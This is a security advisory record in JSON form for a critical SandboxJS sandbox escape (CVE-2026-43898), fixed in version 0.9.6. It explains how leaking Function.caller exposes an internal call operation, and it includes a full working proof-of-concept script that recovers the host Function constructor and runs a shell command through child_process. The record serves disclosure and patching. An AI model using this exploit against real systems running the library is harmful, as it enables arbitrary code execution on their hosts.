{"id":"GHSA-g8f2-4f4f-5jqw","summary":"SandboxJS has a sandbox escape via Function.caller leakage of internal call op","details":"### Summary\nSandbox-defined functions expose `Function.caller`, allowing sandboxed code to recover the internal `LispType.Call` runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.\n### Details\n\nThe vulnerability is in the property access logic registered via `addOps` in [prop.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/prop.ts#L10). Sandboxed code could access the `caller`, `callee`, and `arguments` properties on functions. In the CommonJS build, this allowed sandboxed code to read `Function.caller` and leak a privileged internal `LispType.Call` callback.\n\nIn [executorUtils.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/executorUtils.ts#L239-L282) `createFunction()` constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:\n```js\nfunction f(){ return f.caller }\n```\nThat leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal `LispType.Call` op, which is registered in [call.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L16-L17). The escape was possible because the `LispType.Call` handler accepts a **params** object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches [call.ts:47](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L47-L55), [call.ts:70](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L70), [call.ts:149](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L149-L153). This means the attacker controls `obj.context`, `obj.prop`, `obj.get`, `context.evals.get` and `a`. This can lead to direct invocation of an internal primitive with forged operands\n\n### PoC\n```js\nconst sandb = require('@nyariv/sandboxjs').default;\nconst sand = new sandb(); \n\nconst payload = `\nconst callOp = (function fn() { return fn.caller; })();\n\nfunction makeContext(capture = () =\u003e {}) {\n  return { ctx: { options: 0 }, evals: { get: capture } };\n}\n\nfunction leakStatic(obj, prop) {\n  let leaked;\n  callOp({\n    done() {},\n    a() {},\n    b: [],\n    obj: { context: obj, prop, get() {} },\n    context: makeContext((fn) =\u003e (leaked = fn, () =\u003e 1))\n  });\n  return leaked;\n}\n\nfunction callDirect(fn, args) {\n  let value;\n  callOp({\n    done(_, result) { value = result; },\n    a() {},\n    b: args,\n    obj: fn,\n    context: makeContext()\n  });\n  return value;\n}\n\ncallDirect(leakStatic(Object, 'defineProperty'), [\n  leakStatic,\n  'call',\n  callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [\n    callDirect(leakStatic(Object, 'getPrototypeOf'), [() =\u003e 0]),\n    'constructor'\n  ])\n]);\n\nlet hostFn;\ncallOp({\n  done(_, result) { hostFn = result; },\n  a: leakStatic,\n  b: [],\n  obj: {\n    context: 'return process.getBuiltinModule(\"child_process\").execSync(\"whoami\").toString()',\n    get() {}\n  },\n  context: makeContext()\n});\n\nreturn hostFn();\n`;\n\nconsole.log(sand.compile(payload)().run());\n```\n### Impact\n_Sandbox escape leads to RCE_","aliases":["CVE-2026-43898"],"modified":"2026-09-10T03:51:05.528606073Z","published":"2026-05-11T19:40:00Z","database_specific":{"cwe_ids":["CWE-94"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-05-11T19:40:00Z","nvd_published_at":"2026-05-28T18:16:32Z"},"references":[{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-g8f2-4f4f-5jqw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43898"},{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/commit/826865251232611ec94078bab5a18ec875dad4a5"},{"type":"PACKAGE","url":"https://github.com/nyariv/SandboxJS"}],"affected":[{"package":{"name":"@nyariv/sandboxjs","ecosystem":"npm","purl":"pkg:npm/%40nyariv/sandboxjs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.6"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.9.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-g8f2-4f4f-5jqw/GHSA-g8f2-4f4f-5jqw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}]}